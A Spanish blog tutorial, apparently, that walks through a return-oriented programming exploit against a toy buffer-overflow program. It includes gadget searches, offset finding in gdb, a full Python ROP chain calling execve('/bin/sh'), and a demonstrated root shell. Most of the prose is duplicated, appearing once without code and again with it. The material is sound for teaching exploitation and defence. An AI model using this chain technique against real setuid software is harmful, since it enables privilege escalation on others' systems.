En un artículo anterior ya hice una introducción a la explotación de vulnerabilidades por buffer overflow. Durante mucho tiempo, este tipo de ataques era muy común pero, afortunadamente, cada vez es más difícil explotar este tipo de vulnerabilidades gracias a mejoras como NX (también conocido como DEP o PAX). Básicamente consiste en evitar que se pueda ejecutar código dentro del marco de la pila.
Entonces problema solucionado -estarás pensando. Pues no.
Cuatro investigadores de la Universidad de California publicaron un artículo llamado Return-Oriented Programming: Systems, Languages and Applications donde mostraban un método para saltarse esta protección. A grandes rasgos, consiste en ejecutar fragmentos de código que ya existen en el propio código del programa, por lo que ya no es necesario inyectar código propio.
Trataré de describir someramente la técnica y hacer un ejemplo de aplicación de la misma, aunque te aconsejo que leas el paper original donde está todo bien explicado.
Es necesario obtener fragmentos de código pequeños terminados en una instrucción ret, idealmente con una sóla instrucción en ensamblador (además del ret), dentro del programa que se quiere explotar. Estos pequeños fragmentos de código se llaman gadgets. Con estos fragmentos debemos ser capaces, a modo de Lego, de forma el código de explotación o shellcode.
Una vez obtenidos estos fragmentos y ordenados adecuadamente hemos de poder ejecutarlos en el orden establecido. ¿Cómo lo hacemos?
Que estos gatgets acaben con la instrucción ret no es casual. El método consiste en introducir la dirección de los gagets en la pila con el orden de ejecución correcto para que al salir de la función en ejecución, y restablecida la dirección de retorno en %eip, estos gatgets sean invocados uno tras otro en el orden adecuado.
Si no te ha quedado del todo claro, vamos a hacer un ejemplo sencillo de aplicación de la técnica Return Oriented Programming o ROP.
Vamos a tratar de explotar el siguiente programa.
Lo compilamos con
gcc -o saludo saludo.c -fno-stack-protector -static
Hemos añadido el parámetro -static para que se enlace estáticamente el código de las librerías y así facilitarnos el encontrar gadgets suficientes, ya que nuestro programa es muy corto. En un programa normal con una extensión media, no es necesario que esté compilado estáticamente.
A partir de aquí se puede decir que es más un arte que una técnica, ya que necesitamos identificar porciones de código que nos permitan ensamblar nuestro shellcode.
Analicemos cuál es nuestro objetivo:
Vamos a tratar de conseguir una shell de root (suponiendo que nuestro programa se ejecuta con privilegios de administrador), así que queremos ejecutar:
execve("/bin//sh", NULL, NULL);
Para ello tenemos que hacer una llamada al sistema con int 0x80 y los siguientes valores en los registros:
%eax = 0xb //llamada sys_execve
%ebx = Puntero a la cadena "/bin/sh"
%ecx = 0x0
%edx = 0x0
Podemos situar la cadena "/bin/sh" en la sección .data o .bss del ejecutable. En este caso usaré la sección .data. Obtenemos la dirección:
Es decir, la dirección de la sección .data está en 0x080ef060.
Necesitaremos poder almacenar valores anteriormente mencionados en los registros. Usamos objdump de nuevo para volcar el código ensamblador a un archivo y poder hacer búsquedas:
objdump -D ./saludo > saludo.asm
Buscamos código que nos permita obtener datos de la pila y almacenarlos en los registros. Normalmente encontraremos varios gadgets candidatos, así que elegimos uno.
No hemos podido encontrar un gadget con pop %ecx sólo. Nos tendremos que conformar con lo que tenemos. Luego veremos como lidiar con esta situación.
Por otra parte, hay que introducir el valor 0xb en %eax. Podría darse el caso de que existiera una instrucción mov 0xb, %eax pero en este caso no hemos tenido suerte, así que la manera de poner este valor en el registro es tratar de encontrar una instrucción inc %eax y ejecutarla 0xb veces (partiendo de %eax=0).
En algún momento también hay que poner los registros %ecx y %edx a cero. No podemos usar mov 0, %ecx porque el valor 0 se interpretaría como fin del string en la cadena del shellcode, así que no podríamos pasarlo al programa como parámetro de línea de comando. Hay que usar xor. Por desgracia no encontramos ningún xor %ecx, %ecx ni xor %edx, %edx. Sí que encontramos un xor %eax, %eax, así que nos tendremos que apañar con esto.
Para poder pasar ese valor 0 a %ecx y %edx necesitamos un mov. Encontramos varios.
Este nos puede valer, pero mejor nos quedamos con el mov %eax, %edx siguiente, porque ya habíamos encontrado un pop %edx directo de una sola instrucción, mientras que no disponemos de un pop %ecx solo (tiene el pop %ebx acompañándolo, lo que causaría más efectos laterales).
Finalmente, necesitaremos una llamada a la interrupción 0x80 para hacer la llamada al sistema.
Ya tenemos todas las piezas. Ahora hay que construir el exploit, pero antes habrá que calcular el número de caracteres que hay que inyectar en el shellcode para controlar el registro %eip.
En esta ocasión, el buffer es bastante mayor que el ejemplo que usamos en el anterior artículo, así que vamos a valernos de un pequeño script python para generar una cadena larga que nos ayude a localizar el offset exacto de %eip.
Lo llamaremos gen_pattern.py.
Este script genera una cadena de la forma '0a0b0c...' lo que nos ayuda a localizar el offset de %eip fácilmente.
Probamos si hay coredump.
Examinamos archivo core:
%eip no tiene valores con sentido (generados por gen_pattern.py) debido a la protección de ejecución de pila. necesitamos desactivarla.
sudo apt-get install execstack
execstack -s ./saludo
Volvemos a probar:
El valor de %eip es 0x63356235, es decir:
0x63 = 'c'
0x35 = '5'
0x62 = 'b'
0x35 = '5'
Por lo tanto, coincide con la cadena '5b5c', cuya posición puede calcularse fácilmente sabiendo que entre 'a0' y 'z0' hay 52 bytes de distancia (26 letras del alfabeto * 2) y que, como la secuencia empieza en 0a, habrá que multiplicar 5*52 para obtener la posición correspondiente a los bytes '5a' y sumar 2 para conocer la posición de '5b'. Es decir 5*52+2=262 (tendremos que escribir 262 caracteres antes del shellcode).
Ya estamos en disposición de construir nuestro shellcode, que quedaría así.
Analicemos las diferentes partes del código.
En esta parte inyectamos los 262 bytes que necesitamos para controlar el registro %eip y seguidamente se almacena la cadena '/bin' en %eax (este registro es de 32bits, por lo que podemos almacenar hasta 4 bytes o caracteres). Al hacer pop %eax, se recoge el siguiente valor almacenado en la pila, que es precisamente '/bin'.
En %edx almacenamos de la misma manera la dirección de la sección .data en la que queremos poner la cadena '/bin/sh' y terminamos copiando el valor de %eax en la dirección a la que apunta %edx (.data).
Análogamente a como hicimos en el fragmento de código anterior, repetimos para poner en .data+4 la cadena '/sh#'. Hemos puesto un carácter de relleno # para que la cadena tenga exactamente 4 bytes.
Hay que finalizar la cadena con un carácter nulo (0x0) que es el carácter de fin de cadena. Para ello obtenemos la dirección de .data+7 en %edx y ponemos a 0 %eax con xor %eax, %eax. Almacenamos este valor nulo en .data+7, con lo que .data contendrá la cadena '/bin/sh\0'.
Necesitamos almacenar los valores correctos para la llamada al sistema. Recordemos que los valores son los siguientes:
%eax = 0xb //llamada sys_execve
%ebx = Puntero a la cadena "/bin/sh"
%ecx = 0x0
%edx = 0x0
Como en .data+7 hay un carácter nulo (valor 0), aprovechamos para cargar este valor en los registros %ecx y %edx, con lo que conseguimos ponerlos a 0.
Aprovechando que el gadget de la dirección 0x0805b3d1 tiene dos instrucciones pop, una de ellas sobre %ebx, matamos dos pájaros de un tiro y podemos cargar en dicho registro el puntero a la cadena que hay en .data.
Para poner el valor 0xb en %eax primero ponemos el registro a 0 y mediante un bucle que se repite 0xb veces vamos incrementando en uno su valor. De esta forma, al finalizar el bucle %eax contendrá el valor 0xb. Este gadget tiene una instrucción pop %edi no deseada, así que tendremos que lidiar con sus efectos laterales. Para compensar dicha instrucción pop hay que poner en la pila 4 bytes adicionales. En este caso almacenamos la cadena '####'.
Por último, hacemos la llamada a la interrupción para invocar la llamada al sistema.
Es necesario hacerlo ejecutable.
chmod +x shellcode.py
Cambiamos el usuario del programa y damos los permisos necesarios para simular un programa tipo SUID.
sudo chown root:root ./saludo
sudo chmod 4777 ./saludo
Ahora probamos nuestro shellcode.
Acabamos de explotar la vulnerabilidad sin necesidad de ejecutar código en la pila. Mediante esta técnica es posible, pues, evitar las protecciones NX y en algunos casos la protección ASLR.
Entonces problema solucionado -estarás pensando. Pues no.
Cuatro investigadores de la Universidad de California publicaron un artículo llamado Return-Oriented Programming: Systems, Languages and Applications donde mostraban un método para saltarse esta protección. A grandes rasgos, consiste en ejecutar fragmentos de código que ya existen en el propio código del programa, por lo que ya no es necesario inyectar código propio.
Trataré de describir someramente la técnica y hacer un ejemplo de aplicación de la misma, aunque te aconsejo que leas el paper original donde está todo bien explicado.
Es necesario obtener fragmentos de código pequeños terminados en una instrucción ret, idealmente con una sóla instrucción en ensamblador (además del ret), dentro del programa que se quiere explotar. Estos pequeños fragmentos de código se llaman gadgets. Con estos fragmentos debemos ser capaces, a modo de Lego, de forma el código de explotación o shellcode.
Una vez obtenidos estos fragmentos y ordenados adecuadamente hemos de poder ejecutarlos en el orden establecido. ¿Cómo lo hacemos?
Que estos gatgets acaben con la instrucción ret no es casual. El método consiste en introducir la dirección de los gagets en la pila con el orden de ejecución correcto para que al salir de la función en ejecución, y restablecida la dirección de retorno en %eip, estos gatgets sean invocados uno tras otro en el orden adecuado.
Si no te ha quedado del todo claro, vamos a hacer un ejemplo sencillo de aplicación de la técnica Return Oriented Programming o ROP.
Vamos a tratar de explotar el siguiente programa.
#include <stdio.h> #include <string.h> void saluda(char * texto) { char nombre[250]; strcpy(nombre, texto); printf("Hola %s\n", nombre); } int main(int argc, char **argv) { if (argc == 2) { saluda(argv[1]); } else { printf("Este programa acepta exactamente un argumento.\n"); } return 0; }
Lo compilamos con
gcc -o saludo saludo.c -fno-stack-protector -static
Hemos añadido el parámetro -static para que se enlace estáticamente el código de las librerías y así facilitarnos el encontrar gadgets suficientes, ya que nuestro programa es muy corto. En un programa normal con una extensión media, no es necesario que esté compilado estáticamente.
A partir de aquí se puede decir que es más un arte que una técnica, ya que necesitamos identificar porciones de código que nos permitan ensamblar nuestro shellcode.
Analicemos cuál es nuestro objetivo:
Vamos a tratar de conseguir una shell de root (suponiendo que nuestro programa se ejecuta con privilegios de administrador), así que queremos ejecutar:
execve("/bin//sh", NULL, NULL);
Para ello tenemos que hacer una llamada al sistema con int 0x80 y los siguientes valores en los registros:
%eax = 0xb //llamada sys_execve
%ebx = Puntero a la cadena "/bin/sh"
%ecx = 0x0
%edx = 0x0
Podemos situar la cadena "/bin/sh" en la sección .data o .bss del ejecutable. En este caso usaré la sección .data. Obtenemos la dirección:
alberto@vmubuntu:~/temp/rop$ objdump -s -j .data ./saludo ./saludo: file format elf32-i386 Contents of section .data: 80ef060 00000000 00000000 00080000 60030f08 ............`... 80ef070 00000000 00000000 00000000 00000000 ................ 80ef080 a0f00e08 00000000 00000000 00000000 ................ …
Es decir, la dirección de la sección .data está en 0x080ef060.
Necesitaremos poder almacenar valores anteriormente mencionados en los registros. Usamos objdump de nuevo para volcar el código ensamblador a un archivo y poder hacer búsquedas:
objdump -D ./saludo > saludo.asm
Buscamos código que nos permita obtener datos de la pila y almacenarlos en los registros. Normalmente encontraremos varios gadgets candidatos, así que elegimos uno.
cat ./saludo.asm | grep -E 'pop\s*%eax' -A2 | grep ret -B2 80e3cf5: 58 pop %eax 80e3cf6: c3 ret cat ./saludo.asm | grep -E 'pop\s*%ebx' -A2 | grep ret -B2 80c5920: 5b pop %ebx 80c5921: c3 ret cat ./saludo.asm | grep -E 'pop\s*%ecx' -A2 | grep ret -B2 805b3d1: 59 pop %ecx 805b3d2: 5b pop %ebx 805b3d3: c3 ret cat ./saludo.asm | grep -E 'pop\s*%edx' -A2 | grep ret -B2 805b3aa: 5a pop %edx 805b3ab: c3 ret
No hemos podido encontrar un gadget con pop %ecx sólo. Nos tendremos que conformar con lo que tenemos. Luego veremos como lidiar con esta situación.
Por otra parte, hay que introducir el valor 0xb en %eax. Podría darse el caso de que existiera una instrucción mov 0xb, %eax pero en este caso no hemos tenido suerte, así que la manera de poner este valor en el registro es tratar de encontrar una instrucción inc %eax y ejecutarla 0xb veces (partiendo de %eax=0).
cat ./saludo.asm | grep -E 'inc\s*%eax' -A2 | grep ret -B2 80525dc: 40 inc %eax 80525dd: 5f pop %edi 80525de: c3 ret
En algún momento también hay que poner los registros %ecx y %edx a cero. No podemos usar mov 0, %ecx porque el valor 0 se interpretaría como fin del string en la cadena del shellcode, así que no podríamos pasarlo al programa como parámetro de línea de comando. Hay que usar xor. Por desgracia no encontramos ningún xor %ecx, %ecx ni xor %edx, %edx. Sí que encontramos un xor %eax, %eax, así que nos tendremos que apañar con esto.
cat ./saludo.asm | grep -E 'xor\s*%eax,%eax' -A2 | grep ret -B2 804add0: 31 c0 xor %eax,%eax 804add2: c3 ret
Para poder pasar ese valor 0 a %ecx y %edx necesitamos un mov. Encontramos varios.
cat ./saludo.asm | grep -E 'mov\s*%eax,\(%e[cd]x\)' -A2 | grep ret -B2 Tenemos un mov con %ecx: 804b57a: 89 01 mov %eax,(%ecx) 804b57c: c3 ret
Este nos puede valer, pero mejor nos quedamos con el mov %eax, %edx siguiente, porque ya habíamos encontrado un pop %edx directo de una sola instrucción, mientras que no disponemos de un pop %ecx solo (tiene el pop %ebx acompañándolo, lo que causaría más efectos laterales).
808e95d: 89 02 mov %eax,(%edx) 808e95f: c3 ret
Finalmente, necesitaremos una llamada a la interrupción 0x80 para hacer la llamada al sistema.
cat ./saludo.asm | grep -E 'int\s*\$0x80' -A2 | grep ret -B2 805bba0: cd 80 int $0x80 805bba2: c3 ret
Ya tenemos todas las piezas. Ahora hay que construir el exploit, pero antes habrá que calcular el número de caracteres que hay que inyectar en el shellcode para controlar el registro %eip.
En esta ocasión, el buffer es bastante mayor que el ejemplo que usamos en el anterior artículo, así que vamos a valernos de un pequeño script python para generar una cadena larga que nos ayude a localizar el offset exacto de %eip.
Lo llamaremos gen_pattern.py.
#!/usr/bin/python out='' for i in range(ord('0'), ord('9')+1): for j in range(ord('a'), ord('z')+1): out=out+chr(i)+chr(j) print out
Este script genera una cadena de la forma '0a0b0c...' lo que nos ayuda a localizar el offset de %eip fácilmente.
Probamos si hay coredump.
./saludo `./gen_pattern.py` Hola 0a0b0c0d0e0f0g0h0i0j0k0l0m0n0o0p0q0r0s0t0u0v0w0x0y0z1a1b1c1d1e1f1g1h1i1j1k1l1m1n1o1p1q1r1s1t1u1v1w1x1y1z2a2b2c2d2 ... Violación de segmento (`core' generado)
Examinamos archivo core:
alberto@vmubuntu:~/temp/rop$ ./saludo `./gen_pattern.py` Hola 0a0b0c0d0e0f0g0h0i0j0k0l0m0n0o0p0q0r0s0t0u0v0w0x0y0z1a1b1c1d1e1f1g1h1i1j1k1l1m1n1o1p1q1r1s1t1u1v1w1x1y1z2a2b2c2d2e2f2g2h2i2j2k2l2m2n2o2p2q2r2s2t2u2v2w2x2y2z3a3b3c3d3e3f3g3h3i3j3k3l3m3n3o3p3q3r3s3t3u3v3w3x3y3z4a4b4c4d4e4f4g4h4i4j4k4l4m4n4o4p4q4r4s4t4u4v4w4x4y4z5a5b5c5d5e5f5g5h5i5j5k5l5m5n5o5p5q5r5s5t5u5v5w5x5y5z6a6b6c6d6e6f6g6h6i6j6k6l6m6n6o6p6q6r6s6t6u6v6w6x6y6z7a7b7c7d7e7f7g7h7i7j7k7l7m7n7o7p7q7r7s7t7u7v7w7x7y7z8a8b8c8d8e8f8g8h8i8j8k8l8m8n8o8p8q8r8s8t8u8v8w8x8y8z9a9b9c9d9e9f9g9h9i9j9k9l9m9n9o9p9q9r9s9t9u9v9w9x9y9z Violación de segmento (`core' generado) alberto@vmubuntu:~/temp/rop$ gdb -q -c core [Nuevo LWP 4339] El núcleo se generó por «./saludo 0a0b0c0d0e0f0g0h0i0j0k0l0m0n0o0p0q0r0s0t0u0v0w0x0y0z1a1b1c1d1e1f1g1h1i». El programa terminó con la señal 11, Segmentation fault. #0 0x08048f16 in ?? () (gdb) info reg eax 0x20e 526 ecx 0x0 0 edx 0x0 0 ebx 0x0 0 esp 0xbffff12c 0xbffff12c ebp 0x61357a34 0x61357a34 esi 0x0 0 edi 0x8049660 134518368 eip 0x8048f16 0x8048f16 eflags 0x10286 [ PF SF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51
%eip no tiene valores con sentido (generados por gen_pattern.py) debido a la protección de ejecución de pila. necesitamos desactivarla.
sudo apt-get install execstack
execstack -s ./saludo
Volvemos a probar:
alberto@vmubuntu:~/temp/rop$ ./saludo `./gen_pattern.py` Hola 0a0b0c0d0e0f0g0h0i0j0k0l0m0n0o0p0q0r0s0t0u0v0w0x0y0z1a1b1c1d1e1f1g1h1i1j1k1l1m1n1o1p1q1r1s1t1u1v1w1x1y1z2a2b2c2d2e2f2g2h2i2j2k2l2m2n2o2p2q2r2s2t2u2v2w2x2y2z3a3b3c3d3e3f3g3h3i3j3k3l3m3n3o3p3q3r3s3t3u3v3w3x3y3z4a4b4c4d4e4f4g4h4i4j4k4l4m4n4o4p4q4r4s4t4u4v4w4x4y4z5a5b5c5d5e5f5g5h5i5j5k5l5m5n5o5p5q5r5s5t5u5v5w5x5y5z6a6b6c6d6e6f6g6h6i6j6k6l6m6n6o6p6q6r6s6t6u6v6w6x6y6z7a7b7c7d7e7f7g7h7i7j7k7l7m7n7o7p7q7r7s7t7u7v7w7x7y7z8a8b8c8d8e8f8g8h8i8j8k8l8m8n8o8p8q8r8s8t8u8v8w8x8y8z9a9b9c9d9e9f9g9h9i9j9k9l9m9n9o9p9q9r9s9t9u9v9w9x9y9z Violación de segmento (`core' generado) alberto@vmubuntu:~/temp/rop$ gdb -q -c core [Nuevo LWP 4743] El núcleo se generó por «./saludo 0a0b0c0d0e0f0g0h0i0j0k0l0m0n0o0p0q0r0s0t0u0v0w0x0y0z1a1b1c1d1e1f1g1h1i». El programa terminó con la señal 11, Segmentation fault. #0 0x63356235 in ?? () (gdb) info reg eax 0x20e 526 ecx 0x0 0 edx 0x0 0 ebx 0x0 0 esp 0xbffff130 0xbffff130 ebp 0x61357a34 0x61357a34 esi 0x0 0 edi 0x8049660 134518368 eip 0x63356235 0x63356235 eflags 0x10286 [ PF SF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51
El valor de %eip es 0x63356235, es decir:
0x63 = 'c'
0x35 = '5'
0x62 = 'b'
0x35 = '5'
Por lo tanto, coincide con la cadena '5b5c', cuya posición puede calcularse fácilmente sabiendo que entre 'a0' y 'z0' hay 52 bytes de distancia (26 letras del alfabeto * 2) y que, como la secuencia empieza en 0a, habrá que multiplicar 5*52 para obtener la posición correspondiente a los bytes '5a' y sumar 2 para conocer la posición de '5b'. Es decir 5*52+2=262 (tendremos que escribir 262 caracteres antes del shellcode).
Ya estamos en disposición de construir nuestro shellcode, que quedaría así.
#!/usr/bin/python from struct import pack ex = 'A'*262 ex += pack('I',0x080e3cf5) # pop %eax ex += '/bin' ex += pack('I',0x0805b3aa) # pop %edx ex += pack('I',0x080ef060) # .data ex += pack('I',0x0808e95d) # mov %eax, (%edx) ex += pack('I',0x080e3cf5) # pop %eax ex += '/sh#' ex += pack('I',0x0805b3aa) # pop %edx ex += pack('I',0x080ef064) # .data + 4 ex += pack('I',0x0808e95d) # mov %eax, (%edx) ex += pack('I',0x0805b3aa) # pop %edx ex += pack('I',0x080ef067) # .data + 7 ex += pack('I',0x0804add0) # xor %eax, %eax ex += pack('I',0x0808e95d) # mov %eax, (%edx) ex += pack('I',0x0805b3d1) # pop %ecx ; pop %ebx ex += pack('I',0x080ef067) # .data + 7 ex += pack('I',0x080ef060) # .data ex += pack('I',0x0805b3aa) # pop %edx ex += pack('I',0x080ef067) # .data + 7 ex += pack('I',0x0804add0) # xor %eax, %eax for i in range(int("0xb",16)): ex += pack('I',0x080525dc) # inc %eax ; pop %edi ex += '####' ex += pack('I',0x0805bba0) # int 0x80 print ex
Analicemos las diferentes partes del código.
ex = 'A'*262 ex += pack('I',0x080e3cf5) # pop %eax ex += '/bin' ex += pack('I',0x0805b3aa) # pop %edx ex += pack('I',0x080ef060) # .data ex += pack('I',0x0808e95d) # mov %eax, (%edx)
En esta parte inyectamos los 262 bytes que necesitamos para controlar el registro %eip y seguidamente se almacena la cadena '/bin' en %eax (este registro es de 32bits, por lo que podemos almacenar hasta 4 bytes o caracteres). Al hacer pop %eax, se recoge el siguiente valor almacenado en la pila, que es precisamente '/bin'.
En %edx almacenamos de la misma manera la dirección de la sección .data en la que queremos poner la cadena '/bin/sh' y terminamos copiando el valor de %eax en la dirección a la que apunta %edx (.data).
ex += pack('I',0x080e3cf5) # pop %eax ex += '/sh#' ex += pack('I',0x0805b3aa) # pop %edx ex += pack('I',0x080ef064) # .data + 4 ex += pack('I',0x0808e95d) # mov %eax, (%edx)
Análogamente a como hicimos en el fragmento de código anterior, repetimos para poner en .data+4 la cadena '/sh#'. Hemos puesto un carácter de relleno # para que la cadena tenga exactamente 4 bytes.
ex += pack('I',0x0805b3aa) # pop %edx ex += pack('I',0x080ef067) # .data + 7 ex += pack('I',0x0804add0) # xor %eax, %eax ex += pack('I',0x0808e95d) # mov %eax, (%edx)
Hay que finalizar la cadena con un carácter nulo (0x0) que es el carácter de fin de cadena. Para ello obtenemos la dirección de .data+7 en %edx y ponemos a 0 %eax con xor %eax, %eax. Almacenamos este valor nulo en .data+7, con lo que .data contendrá la cadena '/bin/sh\0'.
Necesitamos almacenar los valores correctos para la llamada al sistema. Recordemos que los valores son los siguientes:
%eax = 0xb //llamada sys_execve
%ebx = Puntero a la cadena "/bin/sh"
%ecx = 0x0
%edx = 0x0
ex += pack('I',0x0805b3d1) # pop %ecx ; pop %ebx ex += pack('I',0x080ef067) # .data + 7 ex += pack('I',0x080ef060) # .data ex += pack('I',0x0805b3aa) # pop %edx ex += pack('I',0x080ef067) # .data + 7
Como en .data+7 hay un carácter nulo (valor 0), aprovechamos para cargar este valor en los registros %ecx y %edx, con lo que conseguimos ponerlos a 0.
Aprovechando que el gadget de la dirección 0x0805b3d1 tiene dos instrucciones pop, una de ellas sobre %ebx, matamos dos pájaros de un tiro y podemos cargar en dicho registro el puntero a la cadena que hay en .data.
ex += pack('I',0x0804add0) # xor %eax, %eax for i in range(int("0xb",16)): ex += pack('I',0x080525dc) # inc %eax ; pop %edi ex += '####'
Para poner el valor 0xb en %eax primero ponemos el registro a 0 y mediante un bucle que se repite 0xb veces vamos incrementando en uno su valor. De esta forma, al finalizar el bucle %eax contendrá el valor 0xb. Este gadget tiene una instrucción pop %edi no deseada, así que tendremos que lidiar con sus efectos laterales. Para compensar dicha instrucción pop hay que poner en la pila 4 bytes adicionales. En este caso almacenamos la cadena '####'.
Por último, hacemos la llamada a la interrupción para invocar la llamada al sistema.
ex += pack('I',0x0805bba0) # int 0x80
Es necesario hacerlo ejecutable.
chmod +x shellcode.py
Cambiamos el usuario del programa y damos los permisos necesarios para simular un programa tipo SUID.
sudo chown root:root ./saludo
sudo chmod 4777 ./saludo
Ahora probamos nuestro shellcode.
alberto@vmubuntu:~/temp/rop$ ./saludo `./shellcode.py` Hola AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�/bin��/sh#����####�####�####�####�####�####�####�####�####�####�####�� # whoami root
Acabamos de explotar la vulnerabilidad sin necesidad de ejecutar código en la pila. Mediante esta técnica es posible, pues, evitar las protecciones NX y en algunos casos la protección ASLR.
Comentarios
Publicar un comentario